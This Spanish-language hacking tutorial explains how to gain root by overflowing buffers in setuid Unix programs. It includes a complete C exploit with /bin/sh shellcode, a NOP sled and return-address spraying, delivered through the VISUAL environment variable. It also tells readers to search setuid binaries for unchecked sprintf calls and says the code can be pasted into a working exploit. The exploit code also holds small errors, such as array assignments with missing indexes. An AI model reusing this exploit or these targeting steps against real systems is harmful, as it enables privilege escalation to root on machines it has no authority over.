- Introducción:
Bien, la técnica para ganar root mediante un buffer overflow a
sido utilizada hace mucho en algunos exploits que son abiertamente difundidos.
Algunos de ellos son dip, splitvt and mount. Hay otros y antes de leer esto
esperanzadoramente, debes ser capaz de reconocerlos.
- Como Trabaja esto:
Como es que la técnica de buffer overflow trabaja, es lo que
buscaremos en algun lugar del programa, explotandolo donde un dato de longitud
indefinida, definida por el usuario, es copiada en un dato de longitud
definida. Y básicamente lo hacemos desbordarse (overflow).
- Ejemplo:
char *ptr;
char visual[1024]; - (definible por usuario)
sprintf(visual, “%s %s”, ptr, file); - (ptr (longitud indefinida) es copiado
- a visual (longitud definida)
En esta función podemos causar un buffer overflow. Que ocurre si
predefinimos visual (el cual es definible por usuario) a algo mas grande que
1024. El programa probara que ptr y file, ambos, no son mas grandes que 1024 e
intentara ejecutar sprintf, cuando esto ocurra, sera mucho mayor que 1024 y
aqui debera existir un buffer overflow.
- Como hacerlo
Ahora, anteriormente he dicho que predefinimos visual a algo mayor a
1024. Hacemos esto, pero lo hacemos mayor a 1024 llenando una zona con codigo
maquina y un comando (/bin/sh). El ejemplo que usare intentara ejecutar
cualquier editor visual que se seleccione. Usualmente pico, o en su defecto
vi. Quizá escribiríamos algun programa como este:
#include <unistd.h> // includes normales
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#define PATH_CT “/usr/bin/program” // Define la ruta del programa
// que explotaremos
u_char shell[] =
“\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f”
“\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd”
“\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh”;
u_long esp() { __asm__(“movl %esp, %eax”); }
// Código máquina que se ejecutara cuando el buffer este desbordado, indicando
// a la maquina ejecutar /bin/sh
main() // funcion main
{ // abre
u_char buf[2048]; // define lo que es visual
u_long addr; // usado para el codigo maquina
int i; // usado para bucles
strcpy(buf, “/usr/bin/pico; “); // inicia lo que sera la salida de
// visual, con pico se ve normal
addr = esp() – 192;
for (i=16; i<128+16; i+=4)
*((u_long *) (buf+i)) = addr;
for (i=128+16; i<1040; i++)
buf = 0×90;
for (i=0; i<strlen(shell); i++)
buf[1040+i] = shell;
buf[1040+i] = ‘\n’;
// Aplicando el código maquina a lo que debe ser visual
setenv(“VISUAL”, buf,1); // predefine visual
execl(PATH_CT, “program”, “-options”, (char *)0); // ejecuta el programa
// con -options
} // cierra
- Que ocurre
Ahora, si compilamos nuestro programa y lo ejecutamos, esto es lo que
puede ocurrir. Pico se ejecutara (ejecutando el inicio de buffer también
y
una vez salido de pico, el buffer debera desbordarse y ejecutar /bin/sh. Si el
programa explotado tiene setuid 0/y ningún cambio fue hecho en el código, éste
nos mostrara un shell root. Para esto solo define visual a /bin/sh, el cuál
puede ser muy útil en algunos casos, pero tenga en mente que este es solo un
ejemplo.
- Como encontrar programas para explotar:
Para encontrar programas a explotar, obtenga los códigos fuente de
algunos programas que son normalmente setuid 0, mira por sprintf’s y por
variables definidas por usuario de longitud indefinida copiados dentro de una
longitud definida y sin comprobaciones, como se muestra anteriormente. Puedes
encontrar todos estos en un lugar y asi explotar todos. =>
- Que hago ahora
Vaya y encuentre un programa para explotar. Mire el codigo fuente y
encuentre lugares donde puedas desbordar el buffer. Regrese al inicio de este
texto y mire el codigo que le he proporcionado. La razón para proporcionarle
este codigo es debido a que puede basicamente, ser cortado y pegado dentro de
un exploit en trabajo.